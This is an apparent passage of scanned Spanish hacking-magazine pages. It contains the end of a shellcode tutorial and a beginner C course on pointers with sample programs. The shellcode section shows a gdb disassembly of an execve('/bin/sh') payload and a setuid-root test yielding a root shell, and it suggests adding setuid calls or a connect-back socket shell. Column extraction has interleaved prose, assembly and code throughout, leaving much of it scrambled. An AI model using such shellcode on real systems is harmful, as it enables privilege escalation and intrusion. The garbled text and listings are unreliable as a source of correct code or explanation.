Listado 6: Shellcode pasada a String en C 0x080494c8 <code+8>: mov %eax,0xc(%ebx) y tratar de ejecutarlas ;-).
0x080494cb <code+11>: mov %ebx,0x8(%ebx)
ejecutamos el programa compilado, y
0x080494ce <code+14>: lea 0x8(%ebx),%ecx
veremos una shell de root ;-) (Ver Por ejemplo, para empezar, os propongo
0x080494d1 <code+17>: lea 0xc(%ebx),%edx
Listado 7 ). 0x080494d4 <code+20>: mov $0xb,%al que agreguéis a esta shellcode que
0x080494d6 <code+22>: int $0x80 hemos creado unas llamadas a setuid()
tuxed@athenea:~/Articulos HxC/shellcodes$ 0x080494d8 <code+24>: call 0x80494c2 <code+2> o setreuid() para cambiar el usuario
gcc prueba_scode.c -o prueba -g 0x080494dd <code+29>: das efectivo de vuestra shellcode. Esto os
tuxed@athenea:~/Articulos HxC/shellcodes$ 0x080494de <code+30>: bound %ebp,0x6e(%ecx) podría ayudar a restaurar privilegios en
su 0x080494e1 <code+33>: das
caso de que el programa atacado los
Password: 0x080494e2 <code+34>: jae 0x804954c
hubiese eliminado (drop en inglés).
athenea:/home/tuxed/Articulos <_DYNAMIC+88>
0x080494e4 <code+36>: xor %bl,0x58(%eax) Otra posibilidad es que intentéis hacer
HxC/shellcodes# chown root prueba
athenea:/home/tuxed/Articulos 0x080494e7 <code+39>: pop %eax algo con sockets, aunque eso ya es un
HxC/shellcodes# chmod u+s prueba 0x080494e8 <code+40>: pop %eax poco más complicado, pero nada del
0x080494e9 <code+41>: pop %ecx otro mundo. Por ejemplo, en el foro de
athenea:/home/tuxed/Articulos
0x080494ea <code+42>: pop %ecx esta revista, en la zona de programación
HxC/shellcodes# exit
0x080494eb <code+43>: pop %ecx
exit hay un post donde expliqué hace un
0x080494ec <code+44>: pop %ecx
tuxed@athenea:~/Articulos HxC/shellcodes$ tiempo el proceso de creación de una
---Type <return> to continue, or q <return> to quit---
./prueba shellcode que realizaba una conexión
End of assembler dump.
sh-3.00# whoami con la IP que le especificáramos y nos
(gdb)
root
brindaba una shell.
sh-3.00# Listado 8: Código en formato AT&T pro-
porcionado por gdb
Listado 7:Probando nuestra shellcode Por último, simplemente despedirme y
instrucciones (pues le hemos dicho que animaros una vez más a plantear todas
Como al principio he prometido que
los desensamble) y nos las ha mostrado. vuestras dudas en los foros de esta
veríamos nuestra shellcode en formato
Así, lo que tenemos a partir de code+29 revista. Espero que no os haya aburrido
AT&T, vamos a aprender a sacarlos
son las instrucciones correspondientes mucho este artículo y que no os haya
nosotros mismos. En primer lugar
a los bytes de la cadena “/bin/ resultado demasiado complicado. Nos
miraremos el número de bytes que
sh0XXXXYYYY”. vemos en el foro ;-).
ocupa nuestra shellcode mediante el
Eloi SG (a.k.a TuXeD )
programa wc, y luego con gdb
Bien, en estos momentos tenemos una Dedicado a Turbina
desensamblaremos nuestra shellcode
shellcode para GNU/Linux completa-
(ver Listado 8).
mente funcional, sin nulos, y que ocupa
45 bytes. No está mal, ¿no? Pues bien,
Si miramos este código, parece que algo
debes saber que existen otras
haya fallado. Al partir del call situado
posibilidades para hacer lo mismo y que
en code+24, aparecen instrucciones que
nos ocupe menos aún. Por ejemplo,
a primera vista no tienen nada que ver
podríamos usar la pila en lugar de una
con nuestro código. Sin embargo, si
cadena más en nuestra shellcode para
recordáis, hemos incluido después de
formar los parámetros de execve, y

38

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


“Hace muchos, muchos bytes, en una dirección de memoria muy lejana...”. Así podría empezar
la Guerra de las Direcciones de Memoria en el Universo de C. Las luchas de espadas Jedi
se verían “sustituidas” por los punteros.

De hecho, los punteros en C son la esencia de su poder. Junto con los arrays, son “la fuerza”.
En este capítulo veremos qué son y cómo se usan pasando de ser padawans a auténticos Jedi
de esto del C. Pero como la fuerza, tiene un lado oscuro, en el que es fácil caer si no se tiene
cuidado. Por tanto, preparados estar deberéis, si en C de verdad programar queréis ;-).

1. Los parámetros formales de las funciones.

2. Asignación dinámica de memoria.


Contar qué son los punteros y qué hacen o dejan de hacer,
podemos encontrarlo en cualquier sitio que hable sobre 3. Optimización de rutinas.
C que se precie. En este curso no pretendo que sepamos
C nada más, ya que, si no me lapidáis :P, seguramente Todas estas cosas y algunas más, las veremos a lo largo
me anime a seguir escribiendo artículos. Pero bueno, no de varias entregas dedicadas a punteros. Debido a su
nos desviemos... Decía que no pretendo sólo enseñaros importancia y su uso en C, al ser La Fuerza en C, he
a programar en C, sino a “razonar” a la hora de programar. decidido dividir en varias entregas los punteros, a la vez
Cosas que van estrechamente ligadas y que han de ser que voy mezclando la explicación con otro tipo de aspectos
indisolubles. Y sin más, con el carácter didáctico que le del C.
doy a todo (juas) empecemos...
El uso de punteros, como ya se ha dicho alguna vez, da
Debo confesar que lo de explicar punteros es más difícil potencia y flexibilidad a un programa en el cual hacen
que entender qué son. Sí, sé que a muchos se os quedarán presencia. Y como no son más que variables, vamos a
caras raras, pero es la verdad. Un puntero no es más que repasar juntos el concepto de variable. Pero no como lo
una variable que contiene direcciones de memoria de hemos visto siempre, vamos a dar un “pasito más” en la
variables. Hala y hasta el número que viene... :P. Creedme abstracción de variables. Una variable es un objeto (no
que no es más que eso. No es nada raro, no hay ningún en el sentido de la Programación Orientada a Objetos),
tipo de magia detrás. de la cual podemos distinguir las siguientes partes, que
vamos a ver ahora mismo (Imagen01):
Y ¿por qué es tan importante saber usarlos bien? ¿Por
qué la gente habla de los punteros de C como algo esencial Bien, como podemos ver una variable es un objeto que
para programar correctamente en este lenguaje? Pues las consta de:
razones son que en C, los punteros pueden aparecer en,
definir y potenciar a: 1. rvalue o valor a la derecha; que no es más que el valor

39

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


el famoso identificador de la variable. proporcionan un código mnemotécnico
para poder recordar esto. La tercera
l í n e a e s a n á l o g a a l a a n t e r i o r.

Imagen 1
que puede almacenar la variable. Se le Tabla 1. Tabla de símbolos que crea el
da este nombre, por una razón muy compilador al definir las variables
Imagen 5
sencilla: es lo que puede aparecer en Las direcciones de memoria vienen en
el lado derecho de una expresión de hexadecimal, como es usual. Aparte, la
asignación (expresión en la que diferencia en las direcciones de memoria,
interviene el signo igual “=”). en este caso, es la que es porque los
enteros ocupan 2 bytes
2. lvalue o valor a la izquierda; que no Imagen 6
es más que la dirección de memoria de Nota En la última línea, lo que el compilador
la variable en cuestión. El nombre, pues interpreta es: “coloca en el lvalue corres-
también es muy simple deducir de dónde En algunas máquinas puede que esto no sea pondiente a la variable a la izquierda
proviene: de que aparece en el lado así, sin embargo aquí se ha asumido este de la expresión, el rvalue de la variable
derecho en las expresiones de tamaño para el caso de tener modificador
a la derecha de dicha expresión”. Es
short, como ya se vio en la primera entrega
asignación. decir, y hablando en plata: coloca un 4
de este curso.
en la dirección de memoria que tiene la
Nota variable k.
C o m o e l m o v i m i e n t o s e m u e s t ra
Una aclaración con el lvalue: Cuando aparece andando, aquí os dejo una imagen visual
en el lado izquierdo no significa que se altere de qué se está haciendo en cada una
el lvalue de la variable a la cual hace referencia, de las líneas del código anterior
sino que se almacena en dicha posición de
memoria el valor dado a la derecha del igual
(en el rvalue por tanto de la variable a la
Imagen 7
izquierda del igual). Por tanto, los lvalues no Estas cosas, que pueden parecer
se pueden alterar, sino que sirven para decirle chorradas, son utilísimas para poder
al compilador dónde queremos que se guarden
comprender los punteros. Con este
los rvalues.
Imagen 2 ejemplito y las imágenes anteriores,
espero que haya quedado más claro el
Bien, y ahora, ¿cómo se digiere esto? repaso y profundización que hemos
Pues bueno, para empezar, deducimos hecho a las variables.
por qué no es válido hacer en C: 3 = i.
3 no es un lvalue. Para continuar, vamos Imagen 3 De esto, es fácil comprender por qué a
a apoyarnos de un trozo de código veces, una variable puede contener un
cobaya, que compilaremos en la mente valor si no se inicializa: el compilador
:P. El fragmento es el que os muestro asigna un determinado fragmento de
a continuación: memoria a una variable. Y este frag-
mento, puede contener datos prove-
Imagen 4
int i, j, k; nientes de otras operaciones o cualquier
i = 7; Como podéis ver, en rvalue no sabemos otra cosa, como ya he explicado también
j = 4; una vez que definimos la variable, qué con el ejemplo anterior.
k = j; es lo que hay en la dirección que se ha
reservado para dicha variable, de ahí Por tanto, si ahora digo que un puntero
Y ahora, analicémoslo en detalle: que lo haya representado mediante es una variable cuyo rvalue contiene
Primero, hemos definido tres variables. símbolos de interrogación (a esto se le lvalue de otras variables, todos me
El compilador lo que hará será llama basura informática, ya que no entenderéis sin ningún problema. Si no
asignarles una región de memoria, sabemos qué contiene una variable hasta es así, releeros hasta aquí. Venga, que
del tamaño adecuado a su tipo. De q u e n o l e a s i g n a m o s u n va l o r ) . o s e s p e r o. . . ¿ ya ? P u e s s e g u i m o s
ahí que hayamos de indicar el tipo, para En la segunda línea hemos guardado entonces ;-).
saber cuánto hay que reservar. Aparte, dentro de la variable i el valor 7. Fijaros
el compilador, va llenando una tabla que aquí lo que el compilador hace para Quiero que quede claro que todo esto
de símbolos, que no es más que una interpretar esto es fijarse en que a la son abstracciones que se hacen para
tabla donde guarda la dirección de izquierda del igual (es decir en el lvalue) explicar qué son variables. Una definición
memoria y el nombre que hemos ha de colocar un valor (el rvalue). Como que me gusta mucho es la que dieron
asignado a dicha dirección de memoria; veis las dos partes de las variables los padres de C a qué es un objeto.

40

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Paso a transcribirla aquí para que veáis a explicar dos operadores esenciales en tarea. Observemos el siguiente código,
que podemos entender a tales esto del manejo de punteros en C: el nuevamente cobaya. Esta vez, eso sí,
monstruos d e l a p r o g ra m a c i ó n : operador dirección (&) y el operador lo compilaremos en nuestras máquinas
“Un objeto en C es una región de alma- indirección (*). y examinaremos el resultado (ver
cenamiento. Un lvalue es una expresión listado 1).
que hace referencia a un objeto”. El primero (&), nos devuelve la
dirección de memoria de una variable. Y la salida es:
Y veis cómo podemos abstraer una Para acordaros, intentad ver el operador
variable como si fuese un objeto, que como algo que nos devuelve una &dress El valor de la variable entero es: 7
tiene dos propiedades: lvalue y rvalue. El valor de la variable entero es ahora: 15
(lo siento, tenemos que echar mano del
inglés :P). Para iros familiarizándoos
Salida por pantalla 1
Y los métodos para acceder a dichas con la POO y meteros el gusanillo en el
propiedades los tiene internamente C y Creo que el concepto de “apuntar” está
cuerpo: es un método del objeto variable
nos proporciona medios rudimentarios lo suficientemente claro: apuntamos a
que nos permite acceder a su propiedad
para poder trabajar con estos objetos una variable mediante un puntero,
lvalue.
de una forma “transparente” al usuario. cuando le asignamos al puntero la
dirección de la variable a la cual apunta.
El segundo (*), coloca en una dirección
Al hacer:
Nota de memoria el valor que queramos,
también llamado operador
puntero = &entero;
Esto que he contado hasta aquí es para que desreferenciador o de desreferencia.
todos tengamos una imagen más clara de qué
Siguiendo con el símil anterior: es un
es una variable (nunca mejor dicho lo de tener Estamos haciendo algo parecido a esto:
una imagen) y así ir metiendo el gusanillo en
método del objeto variable que permite
el cuerpo para luego intentar acercarnos a la modificar su propiedad rvalue.
POO – Programación Orientada a Objetos.

Nota Imagen 8
Y ahora vamos a ver cómo definimos
punteros. En C, para definir un puntero,
Observad un detalle semántico: con el operador Donde ya he omitido el poner rvalue y
basta con anteponer al nombre que le dirección, he dicho que “permite acceder”, es
lvalue. Ya creo que os he dado la brasa
vamos a dar un asterisco “*”. Aparte, decir, se puede ver, pero no modificar. Esto
es lógico, no podemos asignar nosotros la lo suficiente con eso. Como veis, el
hemos de darle un tipo a nuestro
dirección de memoria que queramos a una concepto de apuntar lo he escenificado
puntero.
variable. Aún cuando esa dirección la guarde­ con una flecha. Esta flecha se crea en
mos en un puntero, éste tendrá su propia
el momento en que el rvalue del puntero
Según el estándar ANSI (el famoso del dirección.
contiene el valor del lvalue de la variable.
que os hablé ya en alguna ocasión), un
Sin embargo, con el operador indirección, sí He puesto, asimismo, distintas
puntero de cualquier tipo puede
podemos modificar, ya que accedemos a la direcciones de memoria para que veáis
apuntar a cualquier tipo de datos propiedad rvalue que no es más que el valor
que no tienen por qué coincidir o ser
que queramos. Veremos qué es eso que almacenan las variables.
consecutivas siempre. Os animo a ver
de apuntar ahora mismito. En cuanto a
qué dirección de memoria tiene nuestra
lo de indicarle un tipo al puntero... ¿Y cómo apuntamos? Pues con mucho
variable entero en el ejemplo anterior.
tranquilos, pequeños padawans, pronto ojo y tino...pero C nos va a facilitar la
la luz veréis, pero paciencia.
/* Código que ilustra el uso de punteros en C */
Por tanto, si queremos declarar un
// Las "inclusiones" de rigor
puntero, que se llame puntero, y que
#include<stdio.h>
“apunte” a tipos de datos enteros (esto
es lo que se llama tipo base del int main()
puntero) tendremos que hacer: {
int entero;
int *puntero;
int *puntero;

entero = 7;
Y Santas Pascuas en Belén. Ya tenemos puntero = &entero; // <-- Aquí "apuntamos" a la variable entero
un puntero de tipo entero o que apunta
a enteros. printf("\nEl valor de la variable entero es: %i",entero);

*puntero = 15; // Equivale a hacer entero = 15;


printf("El valor de la variable entero es ahora: %i\n",entero);

return 0;
Como os veo con ganas en esto de irle }

cogiendo el gustillo a La Fuerza, vamos


Listado 1. Primer ejemplo de uso de punteros en C

41

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Modificad el programa. Para eso mostrad de memoria. Aquí os presento un Asignar operaciones de
qué contiene puntero después de conjunto de cosas que sí podemos producto o división a
apuntar a entero. hacer con punteros: direcciones.

Usad el modificador %p para ello. Esto Obtener la dirección de una Asignar direcciones absolutas
os mostrará la dirección de memoria en variable (apuntarla). a punteros. Es decir, no podemos
formato hexadecimal. En mi caso, la hacer: p=6000, siendo p un
dirección de la variable entero es: Acceder/modificar su puntero y 6000 la dirección a la
0xbffff094. Obviamente puede que no contenido. que queremos que apunte.
coincida con lo que obtengáis vosotros. Siempre, debemos hacer una
Bien, ahora que hasta aquí está todo Desplazarse hacia adelante asignación “indirecta”. Esto es, a
controlado, vamos a ver otras cositas y hacia atrás en las direcciones de través del operador dirección y
sobre punteros. ¿Cuánto ocupan en memoria. una variable.
memoria? Sería fácil caer en la tentación
decir: ocupan lo que ocupa el tipo de Sumar o restar tipos float o
Diferencia de punteros que
datos de la variable a la cual apuntan. double a punteros. Es decir, no
apuntan al mismo tipo de variable
Pero... recapacitemos. Recordemos que podemos hacer: puntero ± 12.0 ó
(esto permite saber la “distancia”
un puntero no guarda datos como las puntero ± 8.7. El valor que
entre esas dos variables). Aquí
demás variables, sino direcciones y estas sumemos o restemos debe ser
hay que aclarar que dicha distancia
ocupan 4 bytes de memoria. entero. Aunque sí podemos
viene dada de una forma especial.
Ya que no viene dada en bytes, incrementar o decrementar
Y por tanto, es lógico que un puntero punteros que apunten a variables
sino en datos de ese mismo tipo.
ocupe la longitud de una variable. Para de tipo float o double.
comprobarlo ya sabéis lo que tenéis que
Y aquí, una lista de cosas que no
hacer. Como diría Ortega y Gasset: H a s t a a h o ra , d e l a s o p e ra c i o n e s
podemos hacer con los punteros:
“Siempre que enseñes, enseña a la permitidas, hemos visto el obtener las
vez a dudar de lo que enseñes”. A direcciones de memoria de una variable
Cambiar a una variable de
comprobarlo. No quiero que ninguno se y cómo modificar su contenido. Ahora
dirección.
quede con la duda. Y ya que estoy, voy
a ver si no me quedo yo con la duda
/* Programa para ilustrar la aritmética de punteros */
tampoco :P. Ya está, duda evacuada
;-). #include<stdio.h>

int main()
¿Y se puede rizar el rizo aún más? Pues
{
sí. Esto lo digo porque existen punteros
// Definimos variables y punteros
a punteros. Esto es lógico. Si los
punteros almacenan direcciones de char caracter, *pcaracter;
memoria y ellos, a su vez, tienen int entero, *pentero;
direcciones de memoria, ¿por qué no
// Inicializamos los punteros y las variables
podrían/deberían existir punteros que
puedan apuntar a punteros? Pero esto caracter = 'a';
lo dejaremos para más adelante. Lo pcaracter = &caracter;
veremos en las rutinas de asignación
entero = 7;
dinámica de memoria. Ahora pasaremos
pentero = &entero;
a ver qué podemos hacer con los
punteros. Es lo que se denomina // Los imprimimos
Aritmética de punteros.
printf("\nVariable caracter: %c",caracter);
printf("\nPuntero a caracter: %p",pcaracter);
printf("\nVariable entero: %i",entero);
printf("\nPuntero a entero: %p",pentero);
Tranquilos que no se trata de ninguna
clase de matemáticas... Al menos no en // Diferencia entre incrementar una variable y un puntero
el sentido en que estamos printf("\nVariable caracter incrementada: %c",++caracter);
printf("\nPuntero a carácter incrementado: %p",++pcaracter);
a c o s t u m b ra d o s . L a a r i t m é t i c a d e
printf("\nVariable a entero incrementada: %i",++entero);
punteros lo que trata de hacer es darnos
printf("\nPuntero a entero incrementado: %p",++pentero);
pautas sobre qué está permitido y qué
no está permitido hacer con punteros. return 0;
Realmente, se puede hacer con punteros }
lo que se puede hacer con direcciones
Listado 2. Ejemplo de Aritmética de Punteros elemental en C

42

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


vamos a ver, en el siguiente código de otras 4, que nos ayudarán a aprender apunta sucesivamente el puntero a
ejemplo, cómo podemos apuntar a más cositas sobre C. Primero, veamos enteros que hemos definido:
direcciones consecutivas de memoria; el incremento de las variables, luego de
o incrementar la dirección que guarda los punteros. 0xbffff090 – 0xbffff08c = 4, que es
un puntero; o decrementarla. Así como lo que ocupa el tipo entero (que por
la distancia, medida en datos del mismo Nota defecto es long, si fuese short el
tipo, entre dos variables. resultado sería 2).
No pongo ya cómo compilar estos códigos, ni
Aquí hay que recalcar el por qué del en Linux, que es el entorno que yo uso, ni en Nota
tipo base de un puntero. Hemos dicho, Windows. De esta forma quiero darle una
mayor “independencia de plataforma” ya que
que en teoría, un puntero puede apuntar Es bueno que te familiarices con el formato
de todas formas, estos códigos deberían com­
a cualquier posición de memoria, ya que de posiciones de memoria en formato hexa­
pilar sin problema en ambos entornos. Y no
decimal. Así como de las operaciones que se
todos ocupan lo mismo (4 bytes, espero deberíais tener problemas a la hora de com­
pueden hacer. Es bueno que lo hagas tanto a
que lo hayáis comprobado :P). Entonces, pilarlos y ejecutarlos.
mano como luego comprobarlo mediante la
¿de qué nos sirve este tipo base?. Sin embargo, si os quedan dudas, no dudéis
calculadora. Ánimo que no es nada difícil.
en pasaros por el foro: www.hackxcrack.com
La respuesta es sencilla: Imaginad que /phpBB2/index.php y gustosamente te ayuda­
remos a resolver tus dudas sobre compilación.
tenemos una variable apuntada Ya hemos visto entonces el por qué es
mediante un puntero. Con lo cual, tan importante el tipo base en punteros.
tenemos en nuestro puntero su dirección Habréis observado que una variable de Voy a aprovechar ahora para retomar
de memoria. Bien. Ahora supongamos tipo carácter, que internamente es un un comentario que hice un poco más
que justamente, a continuación de esta código ASCII, al incrementarse, aumenta arriba. Autoparafraseándome:
variable, en nuestra memoria, tenemos su código en 1. Si miráis la tabla ASCII “[...]Imaginad que tenemos una variable
otra del mismo tipo de la que tenemos (por ejemplo de http://www.ascii apuntada mediante un puntero. Con lo
apuntada. ¿Cómo podríamos hacer que table.com/ o en http://www.lookup cual, tenemos en nuestro puntero su
nuestro puntero apunte ahora a esta tables.com/), el código ASCII del dirección de memoria. Bien. Ahora
variable? c a r á c t e r ' a ' e s 9 7 . Po r t a n t o, a l supongamos que justamente, a
incrementarlo en 1 tendríamos el 98, continuación de esta variable, en nuestra
Pues diréis: incrementando el valor del que no es más que el código ASCII memoria, tenemos otra del mismo tipo
puntero. Y ahí está la respuesta. Pero correspondiente a la letra 'b'. de la que tenemos apuntada[...]”.
recordemos que el compilador es mucho Que los char se manejen mediante la
más torpe que nosotros. Tenemos que tabla ASCII, y que “internamente” sean Sigo un poco más allá: ¿y si tuviésemos
darle todo mascadito. Si no sabe que tratados como enteros hace que se una colección de variables del mismo
nuestras variables son de tipo char, utilicen a veces como enteros. Su valor tipo en posiciones contiguas de
entero, ..., ¿cómo va a saber aumentar está limitado a 2 8 = 256 (ya que los memoria? Porque anteriormente, hemos
la dirección de memoria que tenemos char ocupan 1 byte = 8 bits). incrementado el puntero a entero y a
apuntada? Pues para eso está el tipo En cuanto a la variable tipo entero, algo carácter, pero no hemos visto qué había
base: la dirección de memoria se similar. Si incrementamos en uno el 7, en las posiciones de memoria apuntadas.
aumenta o decrementa en el número tenemos un 8. Aritmética elemental que Si lo hiciéramos, muy probablemente
de bytes que tenga el tipo al cual apunta se llama :P. veríamos lo que he venido en denominar
el puntero. “basura informática”, es decir, unos y
Con los punteros tenemos algo similar. ceros sin sentido para nosotros, que
Para que quede más claro. Imaginemos Las variables tipo carácter, como ya provienen de otras operaciones, otros
el siguiente código: (ver listado 2) sabéis, ocupan un byte de memoria, así códigos de otros programas...
que al incrementar un puntero a este
La ejecución de este código es: tipo de datos, la dirección se aumenta Retomando la pregunta: ¿Podemos tener
en la misma cantidad que bytes ocupa dicha colección? Pues sí, amigos y esto
Variable caracter: a el tipo. En este caso, 1. De ahí que es lo que se llama arrays, arreglos,
Puntero a caracter: 0xbffff097 primero obtengamos 0xbffff097 y luego vectores, .... Los veremos con detalle
Variable entero: 7
0xbffff098. Como veis las direcciones un poquito más adelante, pero ya podéis
Puntero a entero: 0xbffff08c
Variable caracter incrementada: b vienen dadas en bytes y la diferencia ver que existe una estrecha relación
Puntero a carácter incrementado: 0xbffff098 entre estas dos direcciones es 1 byte, entre arrays y punteros y que nos
Variable a entero incrementada: 8 lo que ocupa un tipo char. podemos valer de estos últimos y la
Puntero a entero incrementado: 0xbffff090 posibilidad de incrementar y
En cuanto a los enteros, pues otro tanto decrementar la memoria usando
Salida por pantalla 2
de lo mismo se puede decir. Vamos a punteros y accediendo así de este modo
Las 4 primeras líneas en la salida no usar la calculadora (en modo hexa- a todos los elementos del array. Pero
creo que representen mayor decimal) para calcular la diferencia entre que nadie se altere, que todo llegará a
complicación. Ahora fijémonos en las las direcciones de memoria a las que su tiempo.

43

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Bien, nos queda por examinar una última pueden parecer obvias, pero que nunca
el modificador %p me hubiese dado el número
cuestión que he dicho cuando nombraba está de más dejarlas plasmadas.
en formato hexadecimal. Probad ambos modi­
qué podemos hacer con los punteros. Y ficadores y estudiad la diferencia entre ambos
es la diferencia, dada en datos del ;-). Supongamos, la siguiente sentencia:
tipo apuntado, entre dos posiciones
de memoria. Dichas posiciones, puntero1 = puntero2;
ocupadas por sendas variables del Si quisiéramos que nos dé el tamaño
mismo tipo. Ha llegado la hora de en bytes entre dos posiciones de ¿Qué estamos haciendo realmente? Pues
entender qué es eso de “diferencia dada memoria pues no tendríamos que hacer no hay que usar mucho la imaginación
en datos del tipo apuntado”. Con lo que mucho. Tan sólo poner en la línea que para ver lo siguiente: (imagen 9)
sabemos y hemos visto ahora mismo, nos da la diferencia lo siguiente:
podemos deducir que se trata de cuántos
printf("\nLa distancia de ambas direcciones es:
datos del tipo apuntado cabrían entre
%i bytes.\n",(puntero1-puntero2)*sizeof(int));
las dos posiciones de memoria.
Por tanto, aquí se ve cómo la distancia,
Va m o s a v e r l o c o n e l s i g u i e n t e medida como diferencia entre punteros
ejemplo:(ver listado 3) al mismo tipo de variables, nos da una

/* Otro programa para ilustrar la aritmética de punteros */


#include<stdio.h>
Recordemos que el compilador, según
int main() un objeto esté a la izquierda o derecha
{ del signo igual va a utilizar el rvalue o
int entero1, entero2, *puntero1, *puntero2; el lvalue. Por tanto, en esta expresión,
el rvalue de puntero2 es guardado en
entero1 = 27;
el rvalue de puntero1. Aquí lo que
entero2 = 30;
puntero1 = &entero1; hacemos es identificar a puntero1 con
puntero2 = &entero2; puntero2, con lo cual, ambos punteros
apuntarán a la misma variable. El
printf("\nLos valores de las variables entero1 y entero2 son,
siguiente código de ejemplo ilustra esto.
respectivamente: %i %i",entero1,entero2);
printf("\nLas direcciones de memoria de las dos variables son:
/* Programa que ilustra el uso de punteros */
%p y %p respectivamente.",puntero1,puntero2);
printf("\nLa distancia de ambas direcciones es:
#include<stdio.h>
%i datos de tipo entero.\n",puntero1-puntero2);

int main()
return 0;
{
}

int entero, *puntero1, *puntero2;


Listado 3. Ejemplo de distancia en el sentido de punteros
entero = 27;
Si lo ejecutamos, obtenemos: idea de la cantidad de datos del tipo puntero2 = &entero;
puntero1 = puntero2;
Los valores de las variables entero1 y entero2 son, respectivamente: 27 30
Las direcciones de memoria de las dos variables son: 0xbffff094 y 0xbffff090 respectivamente. printf("\npuntero2 apunta a la variable cuya
La distancia de ambas direcciones es: 1 datos de tipo entero. dirección de memoria es: %p",puntero2);
printf("\npuntero1 apunta a la dirección
Salida por pantalla 3 %p\n",puntero1);

que caben entre las direcciones de // Ahora puntero1 apunta a puntero2 y no a


Vemos cómo en este caso, se han usado
//la variable apuntada por puntero2
direcciones de memoria consecutivas memoria apuntadas.
para almacenar los enteros. De ahí que puntero1 = &puntero2;
la distancia sea 1 tipo de datos entero, printf("Ahora puntero1 apunta a la variable
o 4 bytes. Deducimos por tanto que una cuya dirección es: %p\n",puntero1);
return 0;
vez que definimos las variables en un
programa, el compilador las va a Bien, con esto ya sabemos todo, o casi
}
almacenar (o a tratar de almacenar) en todo, lo que se puede hacer con
posiciones consecutivas de memoria. punteros. Nos quedan por ver unas Listado 4. Relaciones entre punteros
cuantas cosas, que veremos después
Nota de arrays. Antes de pasar con estos Al compilar, obviando los mensajes de
engendros de la fuerza, vamos a advertencia, que ya veremos por qué
Observad que para ver la salida en formato
reflexionar juntos acerca de algunas aparecen ;-) y ejecutar tendremos la
decimal he usado el especificador de formato
%i en el programa anterior. Si hubiese usado cosas de los punteros, que creo que siguiente salida:

44

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


El significado del primero es fácil. Viene
puntero2 apunta a la variable cuya dirección de // Ahora puntero1 apunta a puntero2 y no a a decir: obtener el lvalue (dirección de
memoria es: 0xbffff094 //la variable apuntada por puntero2
memoria) de la variable a la que se
puntero3 = &puntero2;
puntero1 apunta a la dirección 0xbffff094 printf("Ahora puntero1 apunta a la variable aplica este operador. Además, sólo
cuya dirección es: %p\n",puntero3); puede aparecer al lado derecho de una
Ahora puntero1 apunta a la variable cuya return 0; expresión de asignación.
dirección es: 0xbffff08c }

Salida por pantalla 4 Listado 5. Uso de punteros a punteros El del segundo, no es que sea mucho
más difícil, pero a diferencia del primero,
Al compilarlo veis que no da ningún
Vemos que esto es lo que os comentaba puede aparecer en ambos lugares del
mensaje de advertencia. Es que el C es
un poquito más arriba. Aparte, he sitio igual. Viene a significar o a hacer:
así de caprichoso, qué le vamos a hacer
incluido una línea adicional: pon/coloca/sitúa (como veis que no se
:P. Hay que decirle al niño que queremos
diga que no doy margen :P) en la
puntero1 = &puntero2; un puntero especial para guardar lo que
variable apuntada por el puntero que
guardan todos: direcciones de memoria,
acompaña a este operador (por tanto
Con esto, lo que estamos haciendo es pero en este caso de punteros.
en el rvalue de la variable apuntada por
apuntar con puntero1 a puntero2. Y ¿por qué hay esta diferencia entre:
el puntero) el valor que se da tras el
Te n e m o s l o q u e s e d e n o m i n a u n
puntero1 = puntero2; signo igual.
puntero a puntero.

y Sé que os estoy dando el tostón con lo


Y ya veis que como un puntero almacena
de rvalue y lvalue, pero ya veréis como
en su rvalue lvalues de otras variables, puntero1 = &puntero2;? cuando lo leáis en algún otro sitio, me
puede almacenar, cómo no, lvalues –
lo agradeceréis :P. Para el caso del
direcciones de memoria – de otras Pues veamos a ver si soy capaz de operador indirección tenemos que la
variables. En algunos textos, explicar esto que es concepto puro y sintaxis es:
encontraréis que para definirlos hemos duro sobre punteros.
de poner: *puntero = valor;
En el primer caso, como ya dijimos:
tipo_base **nombre_puntero_a_puntero; De la parte derecha del igual:
Donde valor puede ser, a su vez:
se utiliza lo que almacena el rvalue
Pero el doble asterisco puede obviarse. de puntero2.
1. Un valor compatible con el tipo de la
Esto es para hacer énfasis que lo vamos De la parte izquierda del igual:
variable apuntada por puntero.
a usar para almacenar direcciones de se almacena en la dirección de
2. Una dirección de memoria (dada por
memoria – apuntar - a punteros. Y para memoria (lvalue) dada por el
un puntero, no de forma directa) y no
evitar mensajes de aviso incordiantes identificador lo que se pasa por el
con el operador indirección ;-), sólo con
:P... ¿Os acordáis del mensaje de valor derecho.
el dirección (&).
advertencia que os daba al compilar el
código anterior? Sí, a ver... uno que En el segundo caso, lo mismo, sólo
Como me he propuesto que aquí quede
decía: que ahora tenemos el operador
todo mascadito, voy a dar un ejemplo
dirección, que lo que hace es pasar por
de esto. Matizaré antes que en 2. cuando
punteros5.c: In function `main': la derecha del igual un lvalue, en vez
punteros5.c:17: aviso: asignación de tipo de digo dirección dada por puntero me
de un rvalue, como en el caso anterior.
puntero incompatible refiero a que no podemos hacer:

Perdonad si soy un poco repetitivo y puntero = 0xbffff08c;


Pues con este código:
doy el coñazo con esto, pero creo que
/* Programa que ilustra el uso de punteros */
es mejor tenerlo claro y aprovecho este No se pueden asignar de forma absoluta
e j e m p l o p a ra q u e l o v e á i s t o d o dirección, pero sí a través de punteros
#include<stdio.h> “unificado”. Todo en C se reduce a pensar y del operador &, que para eso están.
en las variables, qué ocurre cuando se
int main()
declaran, verlas como “objetos” con Y con el operador indirección, monario
{
int entero, *puntero1, *puntero2, **puntero3;
lvalue y rvalue y cómo se puede operar para más inri :P, además tenemos que
con ellos, dónde pueden aparecer, cuál puede aparecer en los dos lados de un
entero = 27; d e e l l o s s e p u e d e m o d i f i c a r. . . signo igual. ¿Significa lo mismo si
puntero2 = &entero;
aparece a ambos lados? Si no, ¿qué
puntero1 = puntero2;
Hemos hablado mucho de punteros, matices hay entre uno y otro?. Dejadme
printf("\npuntero2 apunta a la variable cuya
pero poco de los operadores que que os presente el siguiente código,
dirección de memoria es: %p",puntero2); tenemos para poder manejarnos con donde afianzo lo anterior y además os
printf("\npuntero1 apunta a la dirección ellos. Sabemos que son dos, el operador muestro un ejemplo con la diferencia
%p\n",puntero1); dirección (&) y el indirección (*). que os he planteado.

45

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


